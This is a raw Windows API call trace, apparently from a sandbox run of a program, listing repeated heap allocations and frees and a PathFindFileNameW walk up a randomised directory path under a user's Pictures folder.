(HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.904] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\") returned="xGbG96m2n\\" [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741158 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741158 | out: hHeap=0x660000) returned 1 [0114.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0114.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0114.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.911] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.911] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.911] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.911] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.911] PathFindFileNameW (pszPath="C:\\") returned="C:\\" 